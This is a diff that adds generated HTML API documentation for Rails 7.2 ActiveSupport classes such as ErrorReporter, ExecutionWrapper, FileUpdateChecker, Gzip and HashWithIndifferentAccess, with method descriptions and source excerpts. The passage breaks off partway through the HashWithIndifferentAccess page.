  • +

    :fallback - A callable that provides handleβ€˜s return value when an unhandled error is raised. For example:

    + +
    user = Rails.error.handle(fallback: -> { User.anonymous }) do
    +  User.find_by(params)
    +end
    +
    +
  • +

    :source - This value is passed along to subscribers to indicate the source of the error. Subscribers can use this value to ignore certain errors. Defaults to "application".

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter.rb, line 78
+    def handle(*error_classes, severity: :warning, context: {}, fallback: nil, source: DEFAULT_SOURCE)
+      error_classes = DEFAULT_RESCUE if error_classes.empty?
+      yield
+    rescue *error_classes => error
+      report(error, handled: true, severity: severity, context: context, source: source)
+      fallback.call if fallback
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + record(*error_classes, severity: :error, context: {}, source: DEFAULT_SOURCE) + +

+ + +
+

Evaluates the given block, reporting and re-raising any unhandled error. If no error is raised, returns the return value of the block.

+ +
# Will report a TypeError to all subscribers and re-raise it.
+Rails.error.record do
+  1 + '1'
+end
+
+ +

Can be restricted to handle only specific error classes:

+ +
tags = Rails.error.record(Redis::BaseError) { redis.get("tags") }
+
+ +

Options

+
  • +

    :severity - This value is passed along to subscribers to indicate how important the error report is. Can be :error, :warning, or :info. Defaults to :error.

    +
  • +

    :context - Extra information that is passed along to subscribers. For example:

    + +
    Rails.error.record(context: { section: "admin" }) do
    +  # ...
    +end
    +
    +
  • +

    :source - This value is passed along to subscribers to indicate the source of the error. Subscribers can use this value to ignore certain errors. Defaults to "application".

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter.rb, line 114
+    def record(*error_classes, severity: :error, context: {}, source: DEFAULT_SOURCE)
+      error_classes = DEFAULT_RESCUE if error_classes.empty?
+      yield
+    rescue *error_classes => error
+      report(error, handled: false, severity: severity, context: context, source: source)
+      raise
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + report(error, handled: true, severity: handled ? :warning : :error, context: {}, source: DEFAULT_SOURCE) + +

+ + +
+

Report an error directly to subscribers. You can use this method when the block-based handle and record methods are not suitable.

+ +
Rails.error.report(error)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter.rb, line 210
+    def report(error, handled: true, severity: handled ? :warning : :error, context: {}, source: DEFAULT_SOURCE)
+      return if error.instance_variable_defined?(:@__rails_error_reported)
+
+      unless SEVERITIES.include?(severity)
+        raise ArgumentError, "severity must be one of #{SEVERITIES.map(&:inspect).join(", ")}, got: #{severity.inspect}"
+      end
+
+      full_context = ActiveSupport::ExecutionContext.to_h.merge(context)
+      disabled_subscribers = ActiveSupport::IsolatedExecutionState[self]
+      @subscribers.each do |subscriber|
+        unless disabled_subscribers&.any? { |s| s === subscriber }
+          subscriber.report(error, handled: handled, severity: severity, context: full_context, source: source)
+        end
+      rescue => subscriber_error
+        if logger
+          logger.fatal(
+            "Error subscriber raised an error: #{subscriber_error.message} (#{subscriber_error.class})\n" +
+            subscriber_error.backtrace.join("\n")
+          )
+        else
+          raise
+        end
+      end
+
+      unless error.frozen?
+        error.instance_variable_set(:@__rails_error_reported, true)
+      end
+
+      nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_context(...) + +

+ + +
+

Update the execution context that is accessible to error subscribers. Any context passed to handle, record, or report will be merged with the context set here.

+ +
Rails.error.set_context(section: "checkout", user_id: @user.id)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter.rb, line 201
+    def set_context(...)
+      ActiveSupport::ExecutionContext.set(...)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscribe(subscriber) + +

+ + +
+

Register a new error subscriber. The subscriber must respond to

+ +
report(Exception, handled: Boolean, severity: (:error OR :warning OR :info), context: Hash, source: String)
+
+ +

The report method should never raise an error.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter.rb, line 161
+    def subscribe(subscriber)
+      unless subscriber.respond_to?(:report)
+        raise ArgumentError, "Error subscribers must respond to #report"
+      end
+      @subscribers << subscriber
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unexpected(error, severity: :warning, context: {}, source: DEFAULT_SOURCE) + +

+ + +
+

Either report the given error when in production, or raise it when in development or test.

+ +

When called in production, after the error is reported, this method will return nil and execution will continue.

+ +

When called in development, the original error is wrapped in a different error class to ensure it’s not being rescued higher in the stack and will be surfaced to the developer.

+ +

This method is intended for reporting violated assertions about preconditions, or similar cases that can and should be gracefully handled in production, but that aren’t supposed to happen.

+ +

The error can be either an exception instance or a String.

+ +
example:
+
+  def edit
+    if published?
+      Rails.error.unexpected("[BUG] Attempting to edit a published article, that shouldn't be possible")
+      return false
+    end
+    # ...
+  end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter.rb, line 145
+    def unexpected(error, severity: :warning, context: {}, source: DEFAULT_SOURCE)
+      error = RuntimeError.new(error) if error.is_a?(String)
+      error.set_backtrace(caller(1)) if error.backtrace.nil?
+
+      if @debug_mode
+        raise UnexpectedError, "#{error.class.name}: #{error.message}", error.backtrace, cause: error
+      else
+        report(error, handled: true, severity: severity, context: context, source: source)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unsubscribe(subscriber) + +

+ + +
+

Unregister an error subscriber. Accepts either a subscriber or a class.

+ +
subscriber = MyErrorSubscriber.new
+Rails.error.subscribe(subscriber)
+
+Rails.error.unsubscribe(subscriber)
+# or
+Rails.error.unsubscribe(MyErrorSubscriber)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter.rb, line 176
+    def unsubscribe(subscriber)
+      @subscribers.delete_if { |s| subscriber === s }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ErrorReporter/TestHelper.html b/src/7.2/classes/ActiveSupport/ErrorReporter/TestHelper.html new file mode 100644 index 0000000000..c157abf336 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ErrorReporter/TestHelper.html @@ -0,0 +1,67 @@ +--- +title: ActiveSupport::ErrorReporter::TestHelper +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ErrorReporter/TestHelper/ErrorSubscriber.html b/src/7.2/classes/ActiveSupport/ErrorReporter/TestHelper/ErrorSubscriber.html new file mode 100644 index 0000000000..c75e94ede5 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ErrorReporter/TestHelper/ErrorSubscriber.html @@ -0,0 +1,163 @@ +--- +title: ActiveSupport::ErrorReporter::TestHelper::ErrorSubscriber +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + events
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter/test_helper.rb, line 7
+    def initialize
+      @events = []
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + report(error, handled:, severity:, source:, context:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter/test_helper.rb, line 11
+    def report(error, handled:, severity:, source:, context:)
+      @events << [error, handled, severity, source, context]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EventedFileUpdateChecker.html b/src/7.2/classes/ActiveSupport/EventedFileUpdateChecker.html new file mode 100644 index 0000000000..c90961c501 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EventedFileUpdateChecker.html @@ -0,0 +1,73 @@ +--- +title: ActiveSupport::EventedFileUpdateChecker +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EventedFileUpdateChecker/Core.html b/src/7.2/classes/ActiveSupport/EventedFileUpdateChecker/Core.html new file mode 100644 index 0000000000..6301021479 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EventedFileUpdateChecker/Core.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::EventedFileUpdateChecker::Core +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ExecutionWrapper.html b/src/7.2/classes/ActiveSupport/ExecutionWrapper.html new file mode 100644 index 0000000000..927cb68849 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ExecutionWrapper.html @@ -0,0 +1,360 @@ +--- +title: ActiveSupport::ExecutionWrapper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + register_hook(hook, outer: false) + +

+ + +
+

Register an object to be invoked during both the run and complete steps.

+ +

hook.complete will be passed the value returned from hook.run, and will only be invoked if run has previously been called. (Mostly, this means it won’t be invoked if an exception occurs in a preceding to_run block; all ordinary to_complete blocks are invoked in that situation.)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/execution_wrapper.rb, line 50
+    def self.register_hook(hook, outer: false)
+      if outer
+        to_run RunHook.new(hook), prepend: true
+        to_complete :after, CompleteHook.new(hook)
+      else
+        to_run RunHook.new(hook)
+        to_complete CompleteHook.new(hook)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run!(reset: false) + +

+ + +
+

Run this execution.

+ +

Returns an instance, whose complete! method must be invoked after the work has been performed.

+ +

Where possible, prefer wrap.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/execution_wrapper.rb, line 66
+    def self.run!(reset: false)
+      if reset
+        lost_instance = IsolatedExecutionState.delete(active_key)
+        lost_instance&.complete!
+      else
+        return Null if active?
+      end
+
+      new.tap do |instance|
+        success = nil
+        begin
+          instance.run!
+          success = true
+        ensure
+          instance.complete! unless success
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_complete(*args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/execution_wrapper.rb, line 21
+    def self.to_complete(*args, &block)
+      set_callback(:complete, *args, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_run(*args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/execution_wrapper.rb, line 17
+    def self.to_run(*args, &block)
+      set_callback(:run, *args, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + wrap(source: "application.active_support") + +

+ + +
+

Perform the work in the supplied block as an execution.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/execution_wrapper.rb, line 86
+    def self.wrap(source: "application.active_support")
+      return yield if active?
+
+      instance = run!
+      begin
+        yield
+      rescue => error
+        error_reporter&.report(error, handled: false, source: source)
+        raise
+      ensure
+        instance.complete!
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + complete!() + +

+ + +
+

Complete this in-flight execution. This method must be called exactly once on the result of any call to run!.

+ +

Where possible, prefer wrap.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/execution_wrapper.rb, line 135
+    def complete!
+      complete
+    ensure
+      IsolatedExecutionState.delete(self.class.active_key)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Executor.html b/src/7.2/classes/ActiveSupport/Executor.html new file mode 100644 index 0000000000..af9c7bd0e2 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Executor.html @@ -0,0 +1,62 @@ +--- +title: ActiveSupport::Executor +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/FileUpdateChecker.html b/src/7.2/classes/ActiveSupport/FileUpdateChecker.html new file mode 100644 index 0000000000..b44924bd68 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/FileUpdateChecker.html @@ -0,0 +1,295 @@ +--- +title: ActiveSupport::FileUpdateChecker +layout: default +--- +
+ +
+
+ +
+ +

File Update Checker

+ +

FileUpdateChecker specifies the API used by Rails to watch files and control reloading. The API depends on four methods:

+
  • +

    initialize which expects two parameters and one block as described below.

    +
  • +

    updated? which returns a boolean if there were updates in the filesystem or not.

    +
  • +

    execute which executes the given block on initialization and updates the latest watched files and timestamp.

    +
  • +

    execute_if_updated which just executes the block if it was updated.

    +
+ +

After initialization, a call to execute_if_updated must execute the block only if there was really a change in the filesystem.

+ +

This class is used by Rails to reload the I18n framework whenever they are changed upon a new request.

+ +
i18n_reloader = ActiveSupport::FileUpdateChecker.new(paths) do
+  I18n.reload!
+end
+
+ActiveSupport::Reloader.to_prepare do
+  i18n_reloader.execute_if_updated
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(files, dirs = {}, &block) + +

+ + +
+

It accepts two parameters on initialization. The first is an array of files and the second is an optional hash of directories. The hash must have directories as keys and the value is an array of extensions to be watched under that directory.

+ +

This method must also receive a block that will be called once a path changes. The array of files and list of directories cannot be changed after FileUpdateChecker has been initialized.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/file_update_checker.rb, line 44
+    def initialize(files, dirs = {}, &block)
+      unless block
+        raise ArgumentError, "A block is required to initialize a FileUpdateChecker"
+      end
+
+      @files = files.freeze
+      @glob  = compile_glob(dirs)
+      @block = block
+
+      @watched    = nil
+      @updated_at = nil
+
+      @last_watched   = watched
+      @last_update_at = updated_at(@last_watched)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + execute() + +

+ + +
+

Executes the given block and updates the latest watched files and timestamp.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/file_update_checker.rb, line 82
+    def execute
+      @last_watched   = watched
+      @last_update_at = updated_at(@last_watched)
+      @block.call
+    ensure
+      @watched = nil
+      @updated_at = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + execute_if_updated() + +

+ + +
+

Execute the block given if updated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/file_update_checker.rb, line 92
+    def execute_if_updated
+      if updated?
+        yield if block_given?
+        execute
+        true
+      else
+        false
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + updated?() + +

+ + +
+

Check if any of the entries were updated. If so, the watched and/or updated_at values are cached until the block is executed via execute or execute_if_updated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/file_update_checker.rb, line 63
+    def updated?
+      current_watched = watched
+      if @last_watched.size != current_watched.size
+        @watched = current_watched
+        true
+      else
+        current_updated_at = updated_at(current_watched)
+        if @last_update_at < current_updated_at
+          @watched    = current_watched
+          @updated_at = current_updated_at
+          true
+        else
+          false
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ForkTracker.html b/src/7.2/classes/ActiveSupport/ForkTracker.html new file mode 100644 index 0000000000..15557aeeb0 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ForkTracker.html @@ -0,0 +1,67 @@ +--- +title: ActiveSupport::ForkTracker +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ForkTracker/CoreExt.html b/src/7.2/classes/ActiveSupport/ForkTracker/CoreExt.html new file mode 100644 index 0000000000..126402ad43 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ForkTracker/CoreExt.html @@ -0,0 +1,105 @@ +--- +title: ActiveSupport::ForkTracker::CoreExt +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _fork() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/fork_tracker.rb, line 6
+      def _fork
+        pid = super
+        if pid == 0
+          ForkTracker.after_fork_callback
+        end
+        pid
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Gzip.html b/src/7.2/classes/ActiveSupport/Gzip.html new file mode 100644 index 0000000000..2b3daff678 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Gzip.html @@ -0,0 +1,172 @@ +--- +title: ActiveSupport::Gzip +layout: default +--- +
+ +
+
+ +
+ +

Active Support Gzip

+ +

A convenient wrapper for the zlib standard library that allows compression/decompression of strings with gzip.

+ +
gzip = ActiveSupport::Gzip.compress('compress me!')
+# => "\x1F\x8B\b\x00o\x8D\xCDO\x00\x03K\xCE\xCF-(J-.V\xC8MU\x04\x00R>n\x83\f\x00\x00\x00"
+
+ActiveSupport::Gzip.decompress(gzip)
+# => "compress me!"
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + compress(source, level = Zlib::DEFAULT_COMPRESSION, strategy = Zlib::DEFAULT_STRATEGY) + +

+ + +
+

Compresses a string using gzip.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/gzip.rb, line 32
+    def self.compress(source, level = Zlib::DEFAULT_COMPRESSION, strategy = Zlib::DEFAULT_STRATEGY)
+      output = Stream.new
+      gz = Zlib::GzipWriter.new(output, level, strategy)
+      gz.write(source)
+      gz.close
+      output.string
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decompress(source) + +

+ + +
+

Decompresses a gzipped string.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/gzip.rb, line 27
+    def self.decompress(source)
+      Zlib::GzipReader.wrap(StringIO.new(source), &:read)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Gzip/Stream.html b/src/7.2/classes/ActiveSupport/Gzip/Stream.html new file mode 100644 index 0000000000..231a64437a --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Gzip/Stream.html @@ -0,0 +1,148 @@ +--- +title: ActiveSupport::Gzip::Stream +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/gzip.rb, line 19
+      def initialize(*)
+        super
+        set_encoding "BINARY"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + close() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/gzip.rb, line 23
+      def close; rewind; end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/HashWithIndifferentAccess.html b/src/7.2/classes/ActiveSupport/HashWithIndifferentAccess.html new file mode 100644 index 0000000000..0ecb28ea2a --- /dev/null +++ b/src/7.2/classes/ActiveSupport/HashWithIndifferentAccess.html @@ -0,0 +1,2141 @@ +--- +title: ActiveSupport::HashWithIndifferentAccess +layout: default +--- +
+ +
+
+ +
+ +

Hash With Indifferent Access

+ +

Implements a hash where keys :foo and "foo" are considered to be the same.

+ +
rgb = ActiveSupport::HashWithIndifferentAccess.new
+
+rgb[:black] = '#000000'
+rgb[:black]  # => '#000000'
+rgb['black'] # => '#000000'
+
+rgb['white'] = '#FFFFFF'
+rgb[:white]  # => '#FFFFFF'
+rgb['white'] # => '#FFFFFF'
+
+ +

Internally symbols are mapped to strings when used as keys in the entire writing interface (calling []=, merge, etc). This mapping belongs to the public interface. For example, given:

+ +
hash = ActiveSupport::HashWithIndifferentAccess.new(a: 1)
+
+ +

You are guaranteed that the key is returned as a string:

+ +
hash.keys # => ["a"]
+
+ +

Technically other types of keys are accepted:

+ +
hash = ActiveSupport::HashWithIndifferentAccess.new(a: 1)
+hash[0] = 0
+hash # => {"a"=>1, 0=>0}
+
+ +

but this class is intended for use cases where strings or symbols are the expected keys and it is convenient to understand both as the same. For example the params hash in Ruby on Rails.

+ +

Note that core extensions define Hash#with_indifferent_access:

+ +
rgb = { black: '#000000', white: '#FFFFFF' }.with_indifferent_access
+
+ +

which may be handy.

+ +

To access this class outside of Rails, require the core extension with:

+ +
require "active_support/core_ext/hash/indifferent_access"
+
+ +

which will, in turn, require this file.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + [](*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 85
+    def self.[](*args)
+      new.merge!(Hash[*args])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(constructor = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 70
+    def initialize(constructor = nil)
+      if constructor.respond_to?(:to_hash)
+        super()
+        update(constructor)
+
+        hash = constructor.is_a?(Hash) ? constructor : constructor.to_hash
+        self.default = hash.default if hash.default
+        self.default_proc = hash.default_proc if hash.default_proc
+      elsif constructor.nil?
+        super()
+      else
+        super(constructor)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + [](key) + +

+ + +
+

Same as Hash#[] where the key passed as argument can be either a string or a symbol:

+ +
counters = ActiveSupport::HashWithIndifferentAccess.new
+counters[:foo] = 1
+
+counters['foo'] # => 1
+counters[:foo]  # => 1
+counters[:zoo]  # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 168
+    def [](key)
+      super(convert_key(key))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(key, value) + +

+ + +
+

Assigns a new value to the hash:

+ +
hash = ActiveSupport::HashWithIndifferentAccess.new
+hash[:key] = 'value'
+
+ +

This value can be later fetched using either :key or 'key'.

+
+ + + +
+ Also aliased as: regular_writer, store +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 98
+    def []=(key, value)
+      regular_writer(convert_key(key), convert_value(value, conversion: :assignment))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assoc(key) + +

+ + +
+

Same as Hash#assoc where the key passed as argument can be either a string or a symbol:

+ +
counters = ActiveSupport::HashWithIndifferentAccess.new
+counters[:foo] = 1
+
+counters.assoc('foo') # => ["foo", 1]
+counters.assoc(:foo)  # => ["foo", 1]
+counters.assoc(:zoo)  # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 181
+    def assoc(key)
+      super(convert_key(key))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compact() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 375
+    def compact
+      dup.tap(&:compact!)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_stringify_keys() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 319
+    def deep_stringify_keys; dup end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_stringify_keys!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 317
+    def deep_stringify_keys!; self end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_symbolize_keys() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 324
+    def deep_symbolize_keys; to_hash.deep_symbolize_keys! end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default(key = (no_key = true)) + +

+ + +
+

Same as Hash#default where the key passed as argument can be either a string or a symbol:

+ +
hash = ActiveSupport::HashWithIndifferentAccess.new(1)
+hash.default                   # => 1
+
+hash = ActiveSupport::HashWithIndifferentAccess.new { |hash, key| key }
+hash.default                   # => nil
+hash.default('foo')            # => 'foo'
+hash.default(:foo)             # => 'foo'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 223
+    def default(key = (no_key = true))
+      if no_key
+        super()
+      else
+        super(convert_key(key))
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(key) + +

+ + +
+

Removes the specified key from the hash.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 303
+    def delete(key)
+      super(convert_key(key))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dig(*args) + +

+ + +
+

Same as Hash#dig where the key passed as argument can be either a string or a symbol:

+ +
counters = ActiveSupport::HashWithIndifferentAccess.new
+counters[:foo] = { bar: 1 }
+
+counters.dig('foo', 'bar')     # => 1
+counters.dig(:foo, :bar)       # => 1
+counters.dig(:zoo)             # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 208
+    def dig(*args)
+      args[0] = convert_key(args[0]) if args.size > 0
+      super(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dup() + +

+ + +
+

Returns a shallow copy of the hash.

+ +
hash = ActiveSupport::HashWithIndifferentAccess.new({ a: { b: 'b' } })
+dup  = hash.dup
+dup[:a][:c] = 'c'
+
+hash[:a][:c] # => "c"
+dup[:a][:c]  # => "c"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 264
+    def dup
+      self.class.new(self).tap do |new_hash|
+        set_defaults(new_hash)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + except(*keys) + +

+ + +
+

Returns a hash with indifferent access that includes everything except given keys.

+ +
hash = { a: "x", b: "y", c: 10 }.with_indifferent_access
+hash.except(:a, "b") # => {c: 10}.with_indifferent_access
+hash                 # => { a: "x", b: "y", c: 10 }.with_indifferent_access
+
+
+ + + +
+ Also aliased as: without +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 311
+    def except(*keys)
+      dup.except!(*keys)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extractable_options?() + +

+ + +
+

Returns true so that Array#extract_options! finds members of this class.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 58
+    def extractable_options?
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fetch(key, *extras) + +

+ + +
+

Same as Hash#fetch where the key passed as argument can be either a string or a symbol:

+ +
counters = ActiveSupport::HashWithIndifferentAccess.new
+counters[:foo] = 1
+
+counters.fetch('foo')          # => 1
+counters.fetch(:bar, 0)        # => 0
+counters.fetch(:bar) { |key| 0 } # => 0
+counters.fetch(:zoo)           # => KeyError: key not found: "zoo"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 195
+    def fetch(key, *extras)
+      super(convert_key(key), *extras)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fetch_values(*indices, &block) + +

+ + +
+

Returns an array of the values at the specified indices, but also raises an exception when one of the keys can’t be found.

+ +
hash = ActiveSupport::HashWithIndifferentAccess.new
+hash[:a] = 'x'
+hash[:b] = 'y'
+hash.fetch_values('a', 'b') # => ["x", "y"]
+hash.fetch_values('a', 'c') { |key| 'z' } # => ["x", "z"]
+hash.fetch_values('a', 'c') # => KeyError: key not found: "c"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 251
+    def fetch_values(*indices, &block)
+      indices.map! { |key| convert_key(key) }
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_key?(key) + +

+ + +
+ +
+ + + + + +
+ Alias for: key? +
+ + + + +
+ +
+

+ + include?(key) + +

+ + +
+ +
+ + + + + +
+ Alias for: key? +
+ + + + +
+ +
+

+ + key?(key) + +

+ + +
+

Checks the hash for a key matching the argument passed in:

+ +
hash = ActiveSupport::HashWithIndifferentAccess.new
+hash['key'] = 'value'
+hash.key?(:key)  # => true
+hash.key?('key') # => true
+
+
+ + + +
+ Also aliased as: include?, has_key?, member? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 151
